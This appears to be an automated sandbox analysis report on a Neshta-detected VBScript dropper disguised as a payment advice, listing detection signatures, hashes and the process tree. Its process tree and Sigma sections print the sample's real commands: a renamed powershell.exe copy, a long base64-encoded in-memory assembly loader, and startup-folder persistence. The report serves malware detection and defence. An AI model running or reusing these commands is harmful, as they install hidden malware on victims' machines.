Edit tour

Windows Analysis Report
PaymentAdvice-1629043.vbs

Overview

General Information

Sample name:	PaymentAdvice-1629043.vbs
Analysis ID:	1568248
MD5:	9d7aa394cb39af2a434eb3036a35bb47
SHA1:	bfcb9a3f1dcbcfce2f66f4c5c0e8dbada27dbd9f
SHA256:	490022706b76b904dfe979627f775cc2be0cd6a10ae623989cf2118026a21bea
Tags:	Neshtavbsuser-abuse_ch
Infos:

Detection

Neshta

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected Neshta

.NET source code contains potential unpacker

AI detected suspicious sample

Creates processes via WMI

Drops VBS files to the startup folder

Injects a PE file into a foreign processes

Powershell is started from unusual location (likely to bypass HIPS)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: PowerShell Script Run in AppData

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5948 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3012 cmdline: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PaymentAdvice-1629043.vbs.exe (PID: 6076 cmdline: "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 4592 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

wscript.exe (PID: 344 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 5948 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Value.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1352 cmdline: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Value.vbs.exe (PID: 5232 cmdline: "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 5332 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
neshta	Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."	No Attribution	https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html https://www.mandiant.com/resources/pe-file-infecting-malware-ot https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest https://www.virusradar.com/en/Win32_Neshta.A/description	https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2158943338.000000000A090000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x35679c:$b2: ::FromBase64String( 0x6b73a:$s1: -join 0x7880f:$s1: -join 0x7bbe1:$s1: -join 0x7c293:$s1: -join 0x7dd84:$s1: -join 0x7ff8a:$s1: -join 0x807b1:$s1: -join 0x81021:$s1: -join 0x8175c:$s1: -join 0x8178e:$s1: -join 0x817d6:$s1: -join 0x817f5:$s1: -join 0x82045:$s1: -join 0x821c1:$s1: -join 0x82239:$s1: -join 0x822cc:$s1: -join 0x82532:$s1: -join 0x846c8:$s1: -join 0x93112:$s1: -join 0xa885a:$s1: -join
Process Memory Space: Value.vbs.exe PID: 5232	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Value.vbs.exe PID: 5232	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Value.vbs.exe PID: 5232	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x402754:$b2: ::FromBase64String( 0x3a0cd4:$s1: -join 0x3adda9:$s1: -join 0x3b117b:$s1: -join 0x3b182d:$s1: -join 0x3b331e:$s1: -join 0x3b5524:$s1: -join 0x3b5d4b:$s1: -join 0x3b65bb:$s1: -join 0x3b6cf6:$s1: -join 0x3b6d28:$s1: -join 0x3b6d70:$s1: -join 0x3b6d8f:$s1: -join 0x3b75df:$s1: -join 0x3b775b:$s1: -join 0x3b77d3:$s1: -join 0x3b7866:$s1: -join 0x3b7acc:$s1: -join 0x3b9c62:$s1: -join 0x3c86ac:$s1: -join 0x3dddf4:$s1: -join
Process Memory Space: InstallUtil.exe PID: 5332	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
14.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
4.2.PaymentAdvice-1629043.vbs.exe.a090000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.PaymentAdvice-1629043.vbs.exe.60fdd70.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
12.2.Value.vbs.exe.662d358.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=, CommandLine: "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBj

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 5948, StartAddress: 4B1DBCC0, TargetImage: C:\Windows\System32\wscript.exe, TargetProcessId: 5948

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", ProcessId: 5948, ProcessName: wscript.exe

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe, ProcessId: 6076, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5vyqr4d.lsd.ps1

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y, CommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Value.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5948, ParentProcessName: wscript.exe, ProcessCommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y, ProcessId: 1352, ProcessName: cmd.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y, CommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5948, ParentProcessName: wscript.exe, ProcessCommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs", ProcessId: 5948, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe, ProcessId: 6076, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2160144356.000000000A160000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.0000000006806000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.00000000068F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2160144356.000000000A160000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.0000000006806000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.00000000068F9000.00000004.00000800.00020000.00000000.sdmp
